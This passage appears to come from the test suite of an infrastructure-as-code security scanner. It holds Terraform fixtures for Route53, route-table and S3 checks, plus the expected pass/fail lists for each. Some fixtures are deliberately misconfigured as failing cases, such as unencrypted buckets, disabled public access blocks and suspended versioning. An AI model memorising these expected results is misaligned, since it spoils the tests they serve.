\"CNAME\"\n  ttl     = 60\n  records = [module.controller.loadbalancer_dns_name]\n}\n\nresource \"aws_route53_record\" \"ignore2\" {\n  # it is possible to have a plan with a route53 record that has no type. I am not sure how, but this is a test\n  # of that case.\n  zone_id = data.aws_route53_zone.primary.zone_id\n  name    = \"dns.freebeer.site\"\n  ttl     = \"300\"\n  records = [\"1.1.1.1\"]\n}\n\nresource \"aws_route53_record\" \"unknown\" {\n  zone_id = var.zone_id\n  name = \"test.example.com\"\n  type = \"A\"\n  alias {\n    name = module.alb.lb_dns_name\n    zone_id = module.alb.lb_zone_id\n    evaluate_target_health = true\n  }\n}\n\nresource \"aws_route53_record\" \"unknown2\" {\n  zone_id = data.aws_route53_zone.example.zone_id\n  name    = \"example\"\n  type    = \"A\"\n\n  alias {\n    name                   = data.aws_lb.example.dns_name\n    zone_id                = data.aws_lb.example.zone_id\n    evaluate_target_health = true\n  }\n}\n\nresource \"aws_alb\" \"example\" {\n  name               = \"example\"\n  internal           = false\n  load_balancer_type = \"application\"\n  security_groups    = [aws_security_group.lb_sg.id]\n  subnets            = [for subnet in aws_subnet.public : subnet.id]\n}\n\nresource \"aws_route53_record\" \"pass_alb\" {\n  zone_id = data.aws_route53_zone.example.zone_id\n  name    = \"example\"\n  type    = \"A\"\n\n  alias {\n    name                   = aws_alb.example.dns_name\n    zone_id                = aws_alb.example.zone_id\n    evaluate_target_health = true\n  }\n}\n\nresource \"aws_route53_record\" \"pass5\" {\n  zone_id = data.aws_route53_zone.selected.zone_id\n  name    = var.fqdn\n  type    = \"A\"\n  alias {\n    evaluate_target_health = false\n    name                   = aws_cloudfront_distribution.website.domain_name\n    zone_id                = aws_cloudfront_distribution.website.hosted_zone_id\n  }\n}\n\nvariable \"aws_alb_dns_name\" {}\nvariable \"aws_alb_zone_id\" {}\n\nresource \"aws_route53_record\" \"unknown3\" {\n  zone_id = data.aws_route53_zone.example.zone_id\n  name    = \"example\"\n  type    = \"A\"\n\n  alias {\n    name                   = var.aws_alb_dns_name\n    zone_id                = var.aws_alb_zone_id\n    evaluate_target_health = true\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"website\" {\n  provider = aws.useastone\n  origin {\n    domain_name = aws_s3_bucket.website.bucket_regional_domain_name\n    origin_id   = \"${aws_s3_bucket.website.id}-origin\"\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.website.cloudfront_access_identity_path\n    }\n  }\n  web_acl_id = var.web_acl_id\n  enabled         = true\n  is_ipv6_enabled = true\n  default_root_object = \"index.html\"\n  custom_error_response {\n    error_caching_min_ttl = 300\n    error_code            = 404\n    response_code         = 200\n    response_page_path    = \"/error.html\"\n  }\n  aliases = [\n    var.fqdn\n  ]\n  logging_config {\n    bucket          = aws_s3_bucket.logging.bucket_domain_name\n    include_cookies = false\n    prefix          = \"cloudfront/\"\n  }\n  default_cache_behavior {\n    allowed_methods = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods = [\n      \"GET\",\n      \"HEAD\",\n    ]\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n    min_ttl     = var.min_ttl\n    default_ttl = var.default_ttl\n    max_ttl     = var.max_ttl\n    target_origin_id       = \"${aws_s3_bucket.website.id}-origin\"\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n      cookies {\n        forward = \"none\"\n      }\n    }\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n  # Cache behaviour with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n  price_class = var.price_class\n  restrictions {\n    geo_restriction {\n      restriction_type = var.restriction_type\n      locations = var.locations\n    }\n  }\n  viewer_certificate {\n    cloudfront_default_certificate = var.cloudfront_default_certificate\n    acm_certificate_arn            = aws_acm_certificate.cert.arn\n    ssl_support_method             = \"sni-only\"\n    # tfsec:ignore:AWS021\n    minimum_protocol_version = \"TLSv1.2_2018\"\n  }\n  retain_on_delete = var.retain\n  tags             = var.common_tags\n}\n\nresource \"aws_route53_record\" \"legacy-tf\" {\n  count = var.instance_count\n  zone_id = data.aws_route53_zone.dns_zone.zone_id\n  name = \"brochureworker-${count.index + 1}.${data.aws_route53_zone.dns_zone.name}\"\n  type = \"A\"\n  records = [\"${aws_instance.brochureworker.*.private_ip[count.index]}\"]\n  ttl = \"300\"\n}\n\nresource \"aws_instance\" \"brochureworker\" {}\n\n# ElasticBeanstalk\n\nresource \"aws_route53_record\" \"pass_eb\" {\n  zone_id = data.aws_route53_zone.dns_zone.zone_id\n  name    = var.sub_domain\n  type    = \"A\"\n\n  alias {\n    name                   =  aws_elastic_beanstalk_environment.pass_eb.cname\n    zone_id                =  data.aws_elastic_beanstalk_hosted_zone.current.id\n    evaluate_target_health = false\n  }\n}\n\nresource \"aws_elastic_beanstalk_environment\" \"pass_eb\" {\n  application = aws_elastic_beanstalk_application.example.name\n  name        = \"example\"\n}\n\n# Lightsail\n\nresource \"aws_route53_record\" \"pass_lightsail\" {\n  zone_id  = data.aws_route53_zone.dns_zone.zone_id\n  name     = var.sub_domain\n  type     = \"A\"\n  ttl      = \"300\"\n  records  = [aws_lightsail_instance.example.public_ip_address]\n}\n\nresource \"aws_lightsail_instance\" \"example\" {\n  name              = \"example_lightsail_instance\"\n  availability_zone = \"us-east-1f\"\n  blueprint_id      = \"ubuntu_20_04\"\n  bundle_id         = \"medium_2_0\"\n}\n\nresource \"aws_route53_record\" \"pass_lightsail2\" {\n  zone_id = aws_route53_zone.primary.zone_id\n  name = \"mydomian.com\"\n  type = \"A\"\n  ttl = \"30\"\n  records = [aws_lightsail_static_ip.example.ip_address]\n}\n\nresource \"aws_lightsail_static_ip\" \"example\" {\n  name = \"pike\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/Route53ZoneEnableDNSSECSigning/expected.yaml",
    "content": "pass:\r\n  - \"aws_route53_zone.pass\"\r\n  - \"aws_route53_zone.private_with_inline_vpc\"\r\n  - \"aws_route53_zone.private_with_zone_association\"\r\n  - \"aws_route53_zone.pass_signing_key\"\r\nfail:\r\n  - \"aws_route53_zone.fail2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/Route53ZoneEnableDNSSECSigning/main.tf",
    "content": "#pass\r\nresource \"aws_route53_zone\" \"pass\" {\r\n  name = \"pass\"\r\n}\r\nresource \"aws_route53_key_signing_key\" \"pass\" {\r\n  hosted_zone_id             = aws_route53_zone.pass.id\r\n  key_management_service_arn = aws_kms_key.pass.arn\r\n  name                       = \"pass\"\r\n}\r\n\r\nresource \"aws_route53_hosted_zone_dnssec\" \"pass\" {\r\n  depends_on = [\r\n    aws_route53_key_signing_key.pass\r\n  ]\r\n  hosted_zone_id = aws_route53_key_signing_key.pass.hosted_zone_id\r\n}\r\n\r\n# private hosted zone with inline VPC configuration block\r\nresource \"aws_route53_zone\" \"private_with_inline_vpc\" {\r\n  name = \"private\"\r\n\r\n  vpc {\r\n    vpc_id = \"vpc-1a2b3c4d\"\r\n  }\r\n}\r\n\r\n# private hosted zone with connected aws_route53_zone_association\r\nresource \"aws_route53_zone\" \"private_with_zone_association\" {\r\n  name = \"private\"\r\n}\r\n\r\nresource \"aws_route53_zone_association\" \"private\" {\r\n  zone_id = aws_route53_zone.private_with_zone_association.zone_id\r\n  vpc_id  = \"vpc-1a2b3c4d\"\r\n}\r\n\r\n#pass with signing key\r\nresource \"aws_route53_zone\" \"pass_signing_key\" {\r\n  name = \"pass\"\r\n}\r\n\r\nresource \"aws_route53_key_signing_key\" \"fail\" {\r\n  hosted_zone_id             = aws_route53_zone.pass_signing_key.id\r\n  key_management_service_arn = aws_kms_key.pass_signing_key.arn\r\n  name                       = \"pass\"\r\n}\r\n\r\n#fail2\r\nresource \"aws_route53_zone\" \"fail2\" {\r\n  name = \"fail2\"\r\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/Route53ZoneHasMatchingQueryLog/expected.yaml",
    "content": "pass:\r\n  - \"aws_route53_zone.pass\"\r\n  - \"aws_route53_zone.pass_private\"\r\nfail:\r\n  - \"aws_route53_zone.fail\"\r\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/Route53ZoneHasMatchingQueryLog/main.tf",
    "content": "#pass\r\nresource \"aws_route53_zone\" \"pass\" {\r\n  name = \"pass\"\r\n}\r\nresource \"aws_route53_query_log\" \"pass\" {\r\n  depends_on = [aws_cloudwatch_log_resource_policy.route53-query-logging-policy]\r\n  cloudwatch_log_group_arn = aws_cloudwatch_log_group.aws_route53_pass.arn\r\n  zone_id                  = aws_route53_zone.pass.zone_id\r\n}\r\n\r\n#pass - private\r\nresource \"aws_route53_zone\" \"pass_private\" {\r\n  name = \"example.com\"\r\n\r\n  vpc {\r\n    vpc_id = aws_vpc.example.id\r\n  }\r\n}\r\n\r\n#fail\r\nresource \"aws_route53_zone\" \"fail\" {\r\n  name = \"fail\"\r\n}\r\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/RouteTablePublicSubnetConnection/expected.yaml",
    "content": "pass:\n  - \"ncloud_route_table_association.pass\"\nfail:\n  - \"ncloud_route_table_association.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/RouteTablePublicSubnetConnection/main.tf",
    "content": "resource \"ncloud_subnet\" \"subnet\" {\n  vpc_no         = ncloud_vpc.vpc.id\n  subnet         = \"10.0.1.0/24\"\n  zone           = \"KR-2\"\n  network_acl_no = ncloud_vpc.vpc.default_network_acl_no\n  subnet_type    = \"PUBLIC\"\n  name           = \"subnet-01\"\n  usage_type     = \"GEN\"\n}\n\nresource \"ncloud_route_table\" \"route_table\" {\n  vpc_no                = ncloud_vpc.vpc.id\n  supported_subnet_type = \"PUBLIC\"\n  name                  = \"route-table\"\n  description           = \"for test\"\n}\n\nresource \"ncloud_route_table_association\" \"pass\" {\n  route_table_no = ncloud_route_table.route_table.id\n  subnet_no      = ncloud_subnet.subnet.id\n}\n\nresource \"ncloud_subnet\" \"subnet2\" {\n  vpc_no         = ncloud_vpc.vpc.id\n  subnet         = \"10.0.1.0/24\"\n  zone           = \"KR-2\"\n  network_acl_no = ncloud_vpc.vpc.default_network_acl_no\n  subnet_type    = \"PUBLIC\"\n  name           = \"subnet-01\"\n  usage_type     = \"GEN\"\n}\n\nresource \"ncloud_route_table\" \"route_table2\" {\n  vpc_no                = ncloud_vpc.vpc.id\n  supported_subnet_type = \"PRIVATE\"\n  name                  = \"route-table\"\n  description           = \"for test\"\n}\n\nresource \"ncloud_route_table_association\" \"fail\" {\n  route_table_no = ncloud_route_table.route_table2.id\n  subnet_no      = ncloud_subnet.subnet2.id\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketEncryption/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.bucket_good_1\"\n  - \"aws_s3_bucket.bucket_good_2\"\n  - \"aws_s3_bucket.bucket_good_3\"\n  - \"aws_s3_bucket.bucket_good_5\"\n  - \"aws_s3_bucket.bucket_good_6\"\n  - \"aws_s3_bucket.default_encryption_bucket\"\nfail:\n  - \"aws_s3_bucket.bucket_bad_2\"\n  - \"aws_s3_bucket.bucket_bad_3\"\n  - \"aws_s3_bucket.bucket_bad_4\"\n  - \"aws_s3_bucket.bucket_bad_5\"\n  - \"aws_s3_bucket.bucket_bad_6\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketEncryption/main.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket_good_1\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_good_2\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_good_3\" {\n  bucket = \"bucket_good\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = aws_kms_key.mykey.arn\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_unknown\" {\n  bucket = \"bucket_unknown\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = aws_kms_key.mykey.arn\n        sse_algorithm     = var.bla\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_good_5\" {\n  bucket = \"bucket_good\"\n\n  dynamic \"server_side_encryption_configuration\" {\n    for_each = var.s3_bucket_encryption_enabled ? [1] : []\n  \n    content {\n      rule {\n        apply_server_side_encryption_by_default {\n          sse_algorithm = \"AES256\"\n        }\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_good_6\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_unknown2\" {\n  bucket = \"bucket_unknown\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = aws_kms_key.mykey.arn\n        sse_algorithm     = \"${var.whatever}\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_unknown3\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"default_encryption_bucket\" {\n  bucket = \"default_encryption_bucket\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_2\" {\n  bucket = \"bucket_bad_2\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = aws_kms_key.mykey.arn\n        sse_algorithm     = \"metallica\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_3\" {\n  bucket = \"bucket_bad_3\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_4\" {\n  bucket = \"bucket_bad_4\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_5\" {\n  bucket = \"bucket_good\"\n\n  dynamic \"server_side_encryption_configuration\" {\n    for_each = var.s3_bucket_encryption_enabled ? [1] : []\n  \n    content {\n      rule {\n        apply_server_side_encryption_by_default {\n          sse_algorithm = \"jack daniels\"\n        }\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_6\" {\n  bucket = \"bucket_bad_6\"\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"good_sse_1\" {\n  bucket = aws_s3_bucket.bucket_good_1.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n      sse_algorithm     = \"aws:kms\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"good_sse_2\" {\n  bucket = aws_s3_bucket.bucket_good_2.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n      sse_algorithm     = \"AES256\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"good_sse_3\" {\n  bucket = aws_s3_bucket.bucket_good_6.bucket\n\n  dynamic \"rule\" {\n    for_each = var.s3_bucket_encryption_enabled ? [1] : []\n    content {\n      apply_server_side_encryption_by_default {\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"unknown_sse_4\" {\n  bucket = aws_s3_bucket.bucket_unknown3.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n      sse_algorithm     = \"${var.whatever}\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"bad_sse_1\" {\n  bucket = aws_s3_bucket.bucket_bad_3.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n      sse_algorithm     = \"iron maiden\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"bad_sse_2\" {\n  bucket = aws_s3_bucket.bucket_bad_4.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"bad_sse_3\" {\n  bucket = aws_s3_bucket.bucket_bad_6.bucket\n\n  dynamic \"rule\" {\n    for_each = var.s3_bucket_encryption_enabled ? [1] : []\n    content {\n      apply_server_side_encryption_by_default {\n        sse_algorithm     = \"johnnie walker\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketEventNotifications/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.pass\"\nfail:\n  - \"aws_s3_bucket.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketEventNotifications/main.tf",
    "content": "resource \"aws_s3_bucket\" \"pass\" {\n  bucket = \"your-bucket-name\"\n}\n\nresource \"aws_s3_bucket_notification\" \"bucket_notification\" {\n  bucket = aws_s3_bucket.pass.id\n\n  topic {\n    topic_arn     = aws_sns_topic.topic.arn\n    events        = [\"s3:ObjectCreated:*\"]\n    filter_suffix = \".log\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"fail\" {\n  bucket = \"bucket_bad_1\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketHasPublicAccessBlock/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.bucket_good_1\"\nfail:\n  - \"aws_s3_bucket.bucket_bad_1\"\n  - \"aws_s3_bucket.bucket_bad_2\"\n  - \"aws_s3_bucket.bucket_bad_3\"\n  - \"aws_s3_bucket.bucket_bad_4\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketHasPublicAccessBlock/main.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket_good_1\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_1\" {\n  bucket = \"bucket_bad_1\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_2\" {\n  bucket = \"bucket_bad_2\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_3\" {\n  bucket = \"bucket_bad_3\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_4\" {\n  bucket = \"bucket_bad_4\"\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"access_good_1\" {\n  bucket = aws_s3_bucket.bucket_good_1.id\n\n  block_public_acls   = true\n  block_public_policy = true\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"access_bad_1\" {\n  bucket = aws_s3_bucket.bucket_bad_1.id\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"access_bad_2\" {\n  bucket = aws_s3_bucket.bucket_bad_2.id\n\n  block_public_acls   = false\n  block_public_policy = false\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"access_bad_3\" {\n  bucket = aws_s3_bucket.bucket_bad_3.id\n\n  block_public_acls   = false\n  block_public_policy = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketLifecycle/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.pass\"\n  - \"aws_s3_bucket.pass_v3\"\nfail:\n  - \"aws_s3_bucket.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketLifecycle/main.tf",
    "content": "resource \"aws_s3_bucket\" \"pass\" {\n  bucket = \"bucket_good\"\n}\n\n\nresource \"aws_s3_bucket_lifecycle_configuration\" \"pass\" {\n  bucket = aws_s3_bucket.pass.id\n  rule {\n    id     = \"\"\n    status = \"\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"fail\" {\n  bucket = \"bucket_bad_1\"\n}\n\n# provider v3\n\nresource \"aws_s3_bucket\" \"pass_v3\" {\n  bucket = \"bucket_good\"\n\n  lifecycle_rule {\n    id                                     = \"Delete old incomplete multi-part uploads\"\n    enabled                                = true\n    abort_incomplete_multipart_upload_days = 7\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketLogging/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.bucket_good_1\"\n  - \"aws_s3_bucket.bucket_good_2\"\nfail:\n  - \"aws_s3_bucket.bucket_bad_1\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketLogging/main.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket_good_1\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_good_2\" {\n  bucket = \"bucket_good\"\n\n  logging {\n    target_bucket = aws_s3_bucket.log_bucket.id\n    target_prefix = \"log/\"\n  }\n}\n\nresource \"aws_s3_bucket_logging\" \"example\" {\n  bucket = aws_s3_bucket.bucket_good_1.id\n\n  target_bucket = aws_s3_bucket.log_bucket.id\n  target_prefix = \"log/\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_1\" {\n  bucket = \"bucket_bad_1\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketReplicationConfiguration/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.enabled\"\n  - \"aws_s3_bucket.enabled_v4\"\n  - \"aws_s3_bucket.enabled_var\"\nfail:\n  - \"aws_s3_bucket.default\"\n  - \"aws_s3_bucket.disabled\"\n  - \"aws_s3_bucket.disabled_v4\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketReplicationConfiguration/main.tf",
    "content": "# pass\n\nresource \"aws_s3_bucket\" \"enabled\" {\n  bucket = \"example\"\n\n  replication_configuration {\n    role = aws_iam_role.replication.arn\n\n    rules {\n      id     = \"example\"\n      status = \"Enabled\"\n\n      filter {\n        tags = {}\n      }\n      destination {\n        bucket        = aws_s3_bucket.destination.arn\n        storage_class = \"STANDARD\"\n\n        replication_time {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n\n        metrics {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"enabled_var\" {\n  bucket = \"example\"\n\n  replication_configuration {\n    role = aws_iam_role.replication.arn\n\n    rules {\n      id     = \"foobar\"\n      status = var.replication_enabled\n\n      filter {\n        tags = {}\n      }\n      destination {\n        bucket        = aws_s3_bucket.destination.arn\n        storage_class = \"STANDARD\"\n\n        replication_time {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n\n        metrics {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"unknown_var\" {\n  bucket = \"example\"\n\n  replication_configuration {\n    role = aws_iam_role.replication.arn\n\n    rules {\n      id     = \"foobar\"\n      status = var.unknown_var\n\n      filter {\n        tags = {}\n      }\n      destination {\n        bucket        = aws_s3_bucket.destination.arn\n        storage_class = \"STANDARD\"\n\n        replication_time {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n\n        metrics {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n      }\n    }\n  }\n}\n\nvariable \"unknown_var\" {\n  description = \"unknown value\"\n}\n\n\nvariable \"replication_enabled\" {\n  default = \"Enabled\"\n}\n\nresource \"aws_s3_bucket\" \"legacy_syntax\" {\n  bucket = \"example\"\n\n  replication_configuration {\n    role = aws_iam_role.replication.arn\n\n    rules {\n      id     = \"foobar\"\n      status = \"${var.unknown_var}\"\n\n      filter {\n        tags = {}\n      }\n      destination {\n        bucket        = aws_s3_bucket.destination.arn\n        storage_class = \"STANDARD\"\n\n        replication_time {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n\n        metrics {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n      }\n    }\n  }\n}\n\n# fail\n\nresource \"aws_s3_bucket\" \"default\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket\" \"disabled\" {\n  bucket = \"example\"\n\n  replication_configuration {\n    role = aws_iam_role.replication.arn\n\n    rules {\n      id     = \"foobar\"\n      status = \"Disabled\"\n\n      filter {\n        tags = {}\n      }\n      destination {\n        bucket        = aws_s3_bucket.destination.arn\n        storage_class = \"STANDARD\"\n\n        replication_time {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n\n        metrics {\n          status  = \"Enabled\"\n          minutes = 15\n        }\n      }\n    }\n  }\n}\n\n# provider version 4\n\nresource \"aws_s3_bucket\" \"enabled_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_replication_configuration\" \"enabled_v4\" {\n  role   = aws_iam_role.replication.arn\n  bucket = aws_s3_bucket.enabled_v4.id\n\n  rule {\n    id = \"foobar\"\n\n    filter {\n      prefix = \"foo\"\n    }\n\n    status = \"Enabled\"\n\n    destination {\n      bucket        = aws_s3_bucket.destination.arn\n      storage_class = \"STANDARD\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"disabled_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_replication_configuration\" \"disabled_v4\" {\n  role   = aws_iam_role.replication.arn\n  bucket = aws_s3_bucket.disabled_v4.id\n\n  rule {\n    id = \"foobar\"\n\n    filter {\n      prefix = \"foo\"\n    }\n\n    status = \"Disabled\"\n\n    destination {\n      bucket        = aws_s3_bucket.destination.arn\n      storage_class = \"STANDARD\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"legacy_syntax_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_replication_configuration\" \"legacy_syntax_v4\" {\n  role   = aws_iam_role.replication.arn\n  bucket = aws_s3_bucket.legacy_syntax_v4.id\n\n  rule {\n    id = \"foobar\"\n\n    filter {\n      prefix = \"foo\"\n    }\n\n    status = \"${var.whatever}\"\n\n    destination {\n      bucket        = aws_s3_bucket.destination.arn\n      storage_class = \"STANDARD\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketVersioning/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.enabled\"\n  - \"aws_s3_bucket.enabled_v4\"\n  - \"aws_s3_bucket.enabled_var\"\n  - 'aws_s3_bucket.this[\"test-bucket1\"]'\n  - 'aws_s3_bucket.this[\"test-bucket2\"]'\n  - \"aws_s3_bucket.ref_by_name\"\n  - \"aws_s3_bucket.ref_by_name_local\"\nfail:\n  - \"aws_s3_bucket.default\"\n  - \"aws_s3_bucket.disabled\"\n  - \"aws_s3_bucket.disabled_v4\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3BucketVersioning/main.tf",
    "content": "# pass\n\nresource \"aws_s3_bucket\" \"enabled\" {\n  bucket = \"example\"\n\n  versioning {\n    enabled = true\n  }\n}\n\nresource \"aws_s3_bucket\" \"enabled_var\" {\n  bucket = \"example\"\n\n  versioning {\n    enabled = var.versioning_enabled\n  }\n}\n\nresource \"aws_s3_bucket\" \"unknown_var\" {\n  bucket = \"example\"\n\n  versioning {\n    enabled = var.unknown_var\n  }\n}\n\nvariable \"unknown_var\" {\n  description = \"unknown value\"\n}\n\n\nvariable \"versioning_enabled\" {\n  default = true\n}\n\nresource \"aws_s3_bucket\" \"legacy_syntax\" {\n  bucket = \"example\"\n\n  versioning {\n    enabled = \"${var.unknown_var}\"\n  }\n}\n\n# Reference by name\nvariable \"bucket_name\" {\n}\n\nresource \"aws_s3_bucket\" \"ref_by_name\" {\n  bucket = var.bucket_name\n}\n\nresource \"aws_s3_bucket_versioning\" \"aws_bucket_versioning\" {\n  bucket = var.bucket_name\n  versioning_configuration {\n    status = \"Enabled\"\n  }\n}\n\nvariable \"bucket_name_2\" {\n}\n\nlocals {\n  bucketName = var.bucket_name_2\n}\n\nresource \"aws_s3_bucket\" \"ref_by_name_local\" {\n  bucket = local.bucketName\n}\n\nresource \"aws_s3_bucket_versioning\" \"aws_bucket_versioning_local\" {\n  bucket = local.bucketName\n  versioning_configuration {\n    status = \"Enabled\"\n  }\n}\n\n# fail\n\nresource \"aws_s3_bucket\" \"default\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket\" \"disabled\" {\n  bucket = \"example\"\n\n  versioning {\n    enabled = false\n  }\n}\n\n# provider version 4\n\nresource \"aws_s3_bucket\" \"enabled_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_versioning\" \"enabled_v4\" {\n  bucket = aws_s3_bucket.enabled_v4.id\n\n  versioning_configuration {\n    status = \"Enabled\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"disabled_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_versioning\" \"disabled_v4\" {\n  bucket = aws_s3_bucket.disabled_v4.id\n\n  versioning_configuration {\n    status = \"Suspended\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"legacy_syntax_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_versioning\" \"legacy_syntax_v4\" {\n  bucket = aws_s3_bucket.legacy_syntax_v4.id\n\n  versioning_configuration {\n    status = \"${var.whatever}\"\n  }\n}\n\n\n\nlocals {\n  prefix = \"kevin-code-sec\"\n  buckets = [\n    \"test-code-sec-a\",\n    \"test-code-sec-b\",\n  ]\n  test_buckets = [\n    \"test-bucket1\",\n    